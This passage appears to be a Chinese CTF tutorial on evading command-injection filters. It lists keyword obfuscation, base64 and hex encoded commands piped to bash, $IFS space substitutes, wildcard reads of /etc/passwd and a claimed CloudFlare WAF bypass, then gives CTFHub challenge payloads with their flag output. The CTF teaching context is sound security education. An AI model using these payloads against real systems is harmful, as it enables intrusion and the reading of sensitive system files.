实时上,RCE必然有过滤,下面介绍入门级的bypass
0x04 关键字bypass
纯关键字过滤,如cat、flag、ls等
单一的关键字过滤,可以使用反斜杠、单引号、变量拼接、base64编码等方式进行绕过
反斜杠
ca\t /fl\ag
单引号
'l's
双引号
"l"s
命令拼接,内联执行
a=l;b=s;$a$b
base64编码
`echo d2hvYW1p | base64 -d`
解析:
d2hvYW1p解码后是whoami
base64 -d 解密
`` 解密里面的结果,再去执行命令
root@kali:/tmp# echo 'cat flag' | base64
Y2F0IGZsYWcK
root@kali:/tmp# `echo Y2F0IGZsYWcK | base64 -d`
flag{abcd1234}
十六进制执行
root@kali:/tmp# echo "0x63617420666C6167"| xxd -r -p|bash
flag{abcd1234}
root@kali:/tmp# $(printf "\x63\x61\x74\x20\x66\x6C\x61\x67")
flag{abcd1234}
部分文件名绕过
过滤文件名绕过(例如过滤/etc/passwd文件)
1) 利用正则匹配绕过
[root~]# cat /???/pass*
2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过
[root~]# cat /etc$u/passwd
备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)
另外,linux还提供一些替代的字符,总结如下
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
(假设该目录下有index.php和flag.php)
cat `ls`
等同于-->
cat flag.php;cat index.php
0x05 特殊符号bypass
空格bypass
在过滤空格的情况下,常见bypass
<符号
$IFS
${IFS}
$IFS$9
%09 用于url传递
cat</flag
{cat,flag}
<>(cat<>/flag)
<(cat</flag)
root@kali:/tmp# cat<flag
flag{abcd1234}
root@kali:/tmp# cat$IFS$9flag
flag{abcd1234}
root@kali:/tmp# cat${IFS}flag
flag{abcd1234}
0x06 连接符bypass
常见的连接符有| & ;%0a等,如果过滤,则逐个试试
0x07 读取文件和目录bypass
如果禁止了类似cat的关键字,可以用以下替代
curl file:///flag
strings /flag
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd
读取目录,可以用以下替代
find -- 列出当前目录下的文件以及子目录所有文件
0x08 入门例题
CTFHub 命令注入-过滤cat
可以使用反斜杠、双引号、单引号等等绕过
/?ip=127.0.0.1%3Bca\t flag_26377562217798.php
/?ip=127.0.0.1%3Bc'a't flag_26377562217798.php
/?ip=127.0.0.1%3Bc"a"t flag_26377562217798.php
CTFHub 命令注入-过滤空格
/?ip=127.0.0.1%3Bcat$IFS$9flag_13299173057278.php
/?ip=127.0.0.1%3Bcat${IFS}flag_13299173057278.php
/?ip=127.0.0.1%3Bcat<flag_13299173057278.php
/?ip=127.0.0.1%3Bcat%09flag_13299173057278.php
CTFHub 命令注入-过滤目录分隔符
使用命令拼接
/?ip=127.0.0.1%3Bcd flag_is_here;ls
/?ip=127.0.0.1%3Bcd flag_is_here;cat flag_34112289819045.php
列出所有文件和所有目录
递归列出目录下所有的文件
find . -exec ls -dl \{\} \; | awk '{print $3, $4, $9}'
/?ip=127.0.0.1%3Bfind . -exec ls -dl \{\} \; | awk '{print $3, $4, $9}'
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => www-data www-data .
[2] => root root ./flag_is_here
[3] => root root ./flag_is_here/flag_34112289819045.php
[4] => root root ./index.php
)
递归搜索文件名
find -type f -name "*.*" | grep "flag"
find . | grep "flag"
/?ip=127.0.0.1%3Bfind -type f -name "*.php" | grep "flag"
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => ./flag_is_here/flag_34112289819045.php
)
搜索并且显示文件内容
find -type f -print -exec grep "flag" {} \;
/?ip=127.0.0.1%3Bfind -type f -print -exec grep "ctf" {} \;
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => ./flag_is_here/flag_34112289819045.php
[2] => <?php // ctfhub{b088021457c75189f868e82db183d8b4a9eaeab4}
[3] => ./index.php
)
CTFHub 命令注入-过滤运算符
使用 ; 拼接命令
?ip=127.0.0.1%3Bls
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_44712389318511.php
[2] => index.php
)
?ip=127.0.0.1%3Bcat+flag_44712389318511.php
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => <?php // ctfhub{696be71ef75d7c7927945e475b968cb33859d265}
)
CTFHub 命令注入-综合练习
1、使用%0a串联命令
2、使用变量串联命令
执行ls
/?ip=127.0.0.1%0aa=l%0ab=s%0a$a$b
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_is_here
[2] => index.php
)
执行ls flag_is_here
/?ip=127.0.0.1%0aa=l%0ab=s%0ac=fl%0ad=ag_is_here%0a$a$b${IFS}$c$d
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_7300239618510.php
)
执行cd flag_is_here;cat flag_7300239618510.php
/?ip=127.0.0.1%0aa=c%0ab=d%0ac=fl%0ad=ag_is_here%0ae=ca%0af=t%0ag=fl%0ah=ag_7300239618510.php%0a$a$b${IFS}$c$d%0a$e$f${IFS}$g$h
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => <?php // ctfhub{6ef5bff88a446b88489d06fb24ee1d7d3dc0b420}
)
网友评论